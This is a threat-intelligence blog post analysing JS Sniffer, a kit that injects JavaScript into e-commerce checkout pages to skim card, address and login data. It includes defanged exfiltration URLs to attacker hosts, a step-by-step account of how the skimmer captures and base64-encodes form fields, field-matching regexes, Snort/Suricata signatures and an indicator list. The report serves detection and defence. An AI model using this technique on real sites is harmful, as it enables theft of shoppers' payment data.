JS Sniffer: E-commerce Data Theft Made Easy
July 19, 2018
In late 2017, Volexity began tracking a new e-commerce financial data theft framework named JS Sniffer. The framework gives attackers a quick and efficient way to steal data from compromised e-commerce websites. JS Sniffer is optimized to steal data from compromised websites running the Magento e-commerce platform. However, Volexity has observed the framework on e-commerce websites leveraging OpenCart, Dealer.com, Shopify, WordPress, and others as well. Volexity initially identified the framework following a highly targeted attack campaign against a website that facilitates online ticket sales for numerous events and venues.
One of the websites affected by this breach was an online retailer selling tickets for New Year's Eve events in a large metropolitan area. The website's checkout page was modified to house malicious code designed to steal information entered, such as name, address, credit card data, and even login credentials. This was done through the use of embedded JavaScript, collecting user form selections and entries, encoding it to base64 format, and sending the data to an attacker-controlled domain by way of an HTTP GET request containing the base64 data in the URI parameter. Once received, JS Sniffer parses this data into specific fields, storing it in a backend SQL database.
The image below highlights how JS Sniffer works in conjunction with a compromised e-commerce website.
In the case of the compromised ticketing websites, Volexity observed two versions of the campaign. The first was direct to an IP address and did not use SSL. The second leveraged a domain name designed to blend in with the victims' domains and used SSL. Example JS Sniffer URLs that were observed during this campaign are shown below.
hxxp://94.249.236.106/zfhdsofsdfnfdsfsdmfsdo/gate.php?image_id=WyJ1cmwlY29tcHJvbWlzZWRfZG9tYWluLmNvbSIsIlNlbnNpdGl2ZSBkYXRhIGhlcmUiXQ==
hxxps://captcha-securitytickets.net/captchaProtectionMonitor/captcha.php?image_id=WyJ1cmwlY29tcHJvbWlzZWRfZG9tYWluLmNvbSIsIlNlbnNpdGl2ZSBkYXRhIGhlcmUiXQ==
Initially, Volexity believed that this might have been a one-off data theft campaign by a single threat actor, like many others that have been seen over the last few years. However, in the months that followed, Volexity identified several other instances of the JS Sniffer framework that appear to be operated by many different threat actors. In each observed case, JS Sniffer was used to intercept customer data from a wide variety of e-commerce websites. Our analysis of JS Sniffer shows it mainly targeting stores running the Magento CMS platform. However, options within the framework are available to target other CMS platforms. A few other sample URLs observed during more recent campaigns can be viewed below:
hxxps://google-analytisc.com/ga.php?analytic=WyJ1cmwlY29tcHJvbWlzZWRfZG9tYWluLmNvbSIsIlNlbnNpdGl2ZSBkYXRhIGhlcmUiXQ==
hxxp://googles-contents.com/gate.php?image_id=WyJ1cmwlY29tcHJvbWlzZWRfZG9tYWluLmNvbSIsIlNlbnNpdGl2ZSBkYXRhIGhlcmUiXQ==
The infrastructure and means by which malicious JS Sniffer code has been inserted into compromised websites is widely varied. In some instances the malicious JavaScript has been appended directly to the main site index, while in other instances the malicious code was appended to legitimate JavaScript used by the compromised website. Through varying injection placements, infrastructure, observed file paths, URI parameters, and web server configurations, Volexity believes that several different threat actors are leveraging JS Sniffer.
The attacks carried out with JS Sniffer requires that malicious JavaScript code be loaded from compromised websites in order to intercept and siphon data entered by users. Volexity has observed that attackers leverage two means to load the malicious JS Sniffer code. The first method is to place the malicious JavaScript—in its entirety—directly on the compromised site. The second method is to host the JS Sniffer JavaScript in a file on an attacker-controlled server, and then load that file from the compromised website. The latter method has been observed leveraging domains and scripting designed to mimic that of Google Analytics. Examples of the two methods are described below.
Method 1: Loading JS Sniffer JavaScript from Compromised Websites
The script below was observed on a compromised e-commerce website. It was found in the middle of a legitimate JavaScript file used by the website and is designed to blend in with the code and not stand out as being malicious. In this instance, the URL for the JS Sniffer receiver is base64 encoded in the script as aHR0cHM6Ly9hbm9uaW1vdXNhbGwueHl6L2dhdGUucGhw (https://anonimousall.xyz/gate.php). Earlier versions of the JS Sniffer JavaScript code do not obfuscate the domain. This appears to have been a modification made to JS Sniffer in order to make the code more stealthy.
JS Sniffer JavaScript will typically perform the following actions:
- Looks for onchange events occurring for the following elements and captures element values.
- <input>
- <select>
- <textarea>
- Calls the functions responsible for checking element value modifications at an interval of every 1.5 seconds.
- Captures the current hostname of the compromised URL in order to track where the data originates from.
- Uses the JSON.stringify() method to convert the captured element values into JSON formatting.
- Base64 encodes element values with the btoa() method.
- Creates an image element with a width and height of one pixel, specifying the following values as the source:
- Base64-encoded version of a malicious URL within the atob() method, or in plaintext
- Appends "?image_id=" to the URI string of the URL
- Appends the base64-encoded data captured to the URL
Method 2: Loading JS Sniffer JavaScript from External Attacker-Controlled Website
The script below was observed on a compromised e-commerce website. The code and domain leveraged in this attack is designed to blend in with the rest of the website, disguising itself as being related to Google Analytics.
In reality, however, the script is loading the malicious JS Sniffer code (ga.js) from a server controlled by the attacker. The contents of ga.js are fairly lengthy and not included in this post as a result. This code largely performs the same functions as that described in Method 1 above.
The purpose of this script is to capture all user-entered values, encode the data to base64 format, and send it back to a malicious server within the query string of a HTTP GET request. Example data captured could include products a user is adding to a shopping cart; credentials entered at site login; payment and shipping information; and more. The majority of the connections appear to take place over HTTPS, although there have been instances observed where the malicious data is transmitted over HTTP. Below is a sample of an HTTP request where data from a compromised website is being sent back to a JS Sniffer receiver. The full base64 string has been truncated for readability.
The data sent within the image_id parameter decodes from base64 format to reveal that the attackers are leveraging JS Sniffer to steal a tremendous amount of data during the checkout and payment process on a compromised website. An example of such data can be seen as follows:
"[\"url%CompromisedDomain.com\", \"type%2\", \"q%Search entire store here...\", \"checkout_method%guest\", \"checkout_method%register\",
\"billing[firstname]%John\", \"billing[lastname]%Doe\", \"billing[company]%CompanyNameHere\", \"billing[email]%[email protected]\", \"billing[street][]%1234 My Address\", \"billing[city]%MyCity\", \"billing[postcode]%12345\", \"billing[telephone]%1231232223\", \"billing[save_in_address_book]%1\", \"billing[use_for_shipping]%1\", \"billing[use_for_shipping]%0\", \"shipping[firstname]%John\", \"shipping[lastname]%Doe\", \"shipping[company]%MyCompany\", \"shipping[street][]%1234 My Address\", \"shipping[city]%MyCity\", \"shipping[postcode]%12345\", \"shipping[telephone]%1231232223\", \"shipping[save_in_address_book]%1\", \"shipping[same_as_billing]%1\", \"shipping_method%flatrate_flatrate\", \"payment[method]%ccsave\", \"payment[cc_owner]%John Doe\", \"payment[cc_number]%12341244124242311\", \"payment[cc_cid]%123\", \"payment[method]%checkmo\", \"billing[region_id]%Alabama\", \"billing[country_id]%US\", \"shipping[region_id]%Alabama\", \"shipping[country_id]%US\", \"payment[cc_type]%VI\", \"payment[cc_exp_month]%2\", \"payment[cc_exp_year]%2018\"]"
All fields that are stolen are selected as part of the JS Sniffer configuration. As previously mentioned, the fields selected for siphoning are configurable. An attacker can adjust the JS Sniffer JavaScript to steal data from a new or otherwise customized shopping cart page.
Volexity's research shows that 70% of compromised sites analyzed were running the Magento CMS platform, with many containing critical unpatched vulnerabilities. It is likely the attackers using JS Sniffer are opportunistic, taking advantage of older vulnerabilities and not utilizing an unknown exploit to load this code.
Volexity was able to obtain a copy of the JS Sniffer framework. The version of JS Sniffer that Volexity analyzed was listed as 3.3, suggesting there have been several past iterations prior to the one analyzed. This is likely the reason for the variances observed in the JS Sniffer code loaded on different compromised sites. The comments throughout the code, as well as the included README.txt file, are all in Russian. This may provide hints as to both the origin and target consumer audience for this kit. A portion of the readme translated into English can be seen below:
===
The product is designed for pentest local servers. Before using, make sure the legality of your actions. In violation of the law of any country, all responsibility lies with the userPROMOTED:
Active dialogue with the author of the product.
Proposals for development.
Detailed description of the problems of the product and errors.
Reasonable criticism and adequate behavior of the buyer when solving possible problems.PROHIBITED: (violation of the rules leads to a fine in the amount of the cost of software and the deprivation of the license):
Distribute the product to third parties without the consent of the author.
Lease without agreement with the author.
Aggressive behavior in personal and public contact with the author in the Internet.
Groundless claims of problems with work/functionality.
===
As shown, the author of the readme file attempts to describe JS Sniffer as a product meant for performing penetration tests on a local network. However, the sole purpose of JS Sniffer appears to be information theft, not assessing an organization's security posture and areas of vulnerability, making it unlikely that this framework would be used for anything but criminal actions. There is also reference to license revocation for those who violate the rules listed in the readme. While Volexity is not aware of any attempts to report usage violations to the authors of JS Sniffer, there are strong suspicions that licenses would not actually be revoked.
In addition, the readme also included instructions on configuring and setting up JS Sniffer in four easy steps. The process of setting up the framework is quick and simple, with several test files included in order to verify that everything is configured properly to intercept user data. The default credentials for JS Sniffer are set to admin:admin.
Once configured, JS Sniffer is accessible via a web interface, which appears to be a customized version of the UI framework Pages by Revox. The login page for JS Sniffer is shown below.
Once logged in, the main dashboard page within the panel displays statistical information on the quantity of credit cards stolen, as well as the location (website) where the data was stolen from.
JS Sniffer also comes with a panel for generating malicious JavaScript to append on compromised sites. An attacker simply enters the URL where the stolen data should be sent to and specifies any custom regular expressions to be used if desired. JS Sniffer will then add these values into a script which can be copied and pasted over to the targeted compromised site.
A SQL database dump named sniff_updated that was generated with phpMyAdmin is used to import the tables where the stolen data will be stored. This database contains four tables named cc, export_templates, system logs, and users. Volexity identified the same initial SQL file from many different instances of JS Sniffer that are believed to have been set up by different actors, indicating this database is provided as part of an initial JS Sniffer deployment. The following is the header of the SQL file that appears to be provided with the dump.
-- phpMyAdmin SQL Dump
-- version 4.7.7
-- https://www.phpmyadmin.net/
--
-- Хост: localhost
-- Время создания: Фев 04 2018 г., 01:17
-- Версия сервера: 5.7.20-0ubuntu0.16.04.1
-- Версия PHP: 7.1.10-1+ubuntu16.04.1+deb.sury.org+1SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET AUTOCOMMIT = 0;
START TRANSACTION;
SET time_zone = "+00:00";/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;--
-- База данных: `sniff_updated`
--
The most noteworthy part of the database is the cc table, which stores the intercepted data that the attacker is stealing from the compromised websites. The image below shows a view of the cc table.
It is worth highlighting that while some are included, the admin panel does contain options to add or modify certain regular expressions in order to parse data from non-standard fields on compromised websites. JS Sniffer includes regular expression files for several different targeted fields as shown below.
The majority of the regular expressions are a fairly simple list of possible field names, such as that seen in the cc regexp:
number|numero|card|ccno|ccnum|cc_number|cnum
Others, such as the password regexp, have additional criteria to limit the potential field matches:
passwd|password|(^pwd$)
Signatures
The following intrusion detection system signatures can be used to look for JS Sniffer Beacons.
Suricata:
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Volexity – JS Sniffer Data Theft Beacon Detected"; flow:established,to_server; content:".php?"; http_uri; content:"=WyJ1cmw"; http_uri; sid:2018061501;)
Snort:
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Volexity – JS Sniffer Data Theft Beacon Detected"; flow:established,to_server; content:".php?"; http_uri; content:"=WyJ1cmw"; http_uri; sid:2018061501;)
Network Indicators
Hostname | IP Address | Notes |
---|---|---|
N/A | 62.4.8.139 | Data sent back via URL path /gate.php?image_id=<base64> |
N/A | 94.249.236.106 | Data sent back via URL path /zfhdsofsdfnfdsfsdmfsdo/gate.php?image_id=<base64> |
anonimousall.xyz | 185.180.198.76 | Data sent back via URL path /gate.php?image_id=<base64> |
captcha-security.net | 91.92.137.26 | Domain hosted on the same IP as captcha-securitytickets.net |
captcha-securitytickets.net | 94.249.236.106, 91.92.137.26 | Data sent back via URL path /captchaProtectionMonitor/captcha.php?image_id=<base64> |
googles-contents.com | 191.101.245.10 | Data sent back via URL path /gate.php?image_id=<base64> |
google-analutics.com | 193.0.179.53 | Data sent back via URL path /gate.php?image_id=<base64> |
google-analytisc.com | 31.148.99.33 | Data sent back via URL path /ga.php?analytic=<base64> |
gstaticss.com | 162.255.117.34 | Data sent back via URL path /gate.php?image_id=<base64> |
ka11yg0.strangled.net | 185.82.200.200 | Data sent back via URL path /gate.php?image_id=<base64> |
patrickwilliams.x10host.com | 198.91.80.25 | Data sent back via URL path /gate.php?image_id=<base64> |
site-stats.club | 198.54.117.200 | Data sent back via URL path /gate.php?image_id=<base64> |
wildestore.biz | 104.27.169.240 | Data sent back via URL path /gate.php?image_id=<base64> |
vuln.su | 185.125.46.10 | Data sent back via URL path /sn_last/gate.php?image_id=<base64> |
Shopper Beware
Shopping online is a modern convenience and for the most part can be done securely. However, in some cases, security might be an afterthought for online retailers which can then allow their customers (and the companies themselves) to become victims. Volexity reached out to operators of several compromised e-commerce websites to explain that they were breached and how to find the offending code. Unfortunately, in multiple cases, the malicious JS Sniffer code still remains on these websites, even after receiving verbal or electronic acknowledgement of the issue. Volexity would encourage users to leverage browser plugins such as NoScript or uBlock for tighter granularity over which websites are allowed to load script into their browsers.
Conclusion
This newly identified framework, while relatively simple, gives attackers an additional option for data theft. The only requirement is a compromised site with embedded or linked JavaScript and a backend server to receive the data, thus it is highly likely we will continue to see an increase of information and credit card theft as a result of this framework. Due to limited information and chatter around JS Sniffer, Volexity believes the developer may only be selling or releasing it to a relatively limited audience. With detailed instructions on setting up the framework, and an intuitive interface, JS Sniffer presents attackers with an easy way to view and interact with the stolen data. Volexity recommends searching through available web logs for the indicators referenced above, and ensuring any public-facing e-commerce platforms are fully patched to prevent compromises such as those described in this report.
Acknowledgements
While not believed to be directly related, Volexity would like to acknowledge the "Magecart" research from RiskIQ. Similar to JS Sniffer, Magecart has also targeted online retailers and ticketing companies.
FOR MORE INFORMATION
If you have any questions about this blog, or would like to learn more about Volexity's network security monitoring or threat intelligence services, please contact us!